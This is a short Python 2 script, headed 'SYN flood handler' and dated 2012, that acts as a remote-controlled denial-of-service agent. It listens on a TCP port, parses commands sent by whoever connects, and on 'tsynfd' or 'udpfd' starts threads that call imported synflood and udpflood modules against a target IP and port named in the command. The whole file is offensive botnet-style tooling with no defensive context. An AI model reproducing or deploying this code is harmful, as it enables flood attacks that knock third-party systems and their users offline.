#!/usr/bin/env python
######
# SYN flood handler 
# Shoufu Luo, Oct 22, 2012
######

import socket,sys
import SocketServer
import thread
import synflood
import udpflood

if len(sys.argv) != 3:
	print "Usage: %s <ip> <port>" % sys.argv[0]
	sys.exit(1)

ip=sys.argv[1]
port=int(sys.argv[2])

class tcp_server(SocketServer.BaseRequestHandler):
	def handle(self):
		self.data = self.request.recv(1024).strip()
		print "%s wrote:" % self.client_address[0],
		print self.data
		self.request.sendall("ACK-" + self.data)
		cnt = self.data.split('$')
		cmds = cnt[2].split("#")
		methd = cmds[0].lower()
		if (methd == "tsynfd"):
			thread.start_new_thread(synflood.floodsyn, (cmds[1], int(cmds[2]), 1024))		
		elif (methd == "udpfd"):
			thread.start_new_thread(udpflood.floodudp, (cmds[1], int(cmds[2]), 1024))
		elif (methd == "icmpfd"):
			print "Not implemented"
		else:
			print "Unknow protocol:", methd 

if __name__ == "__main__":
	server = SocketServer.TCPServer((ip, port), tcp_server)
	print "We are listening on %d ..." % port
	server.serve_forever()

	print "We quit!"


		

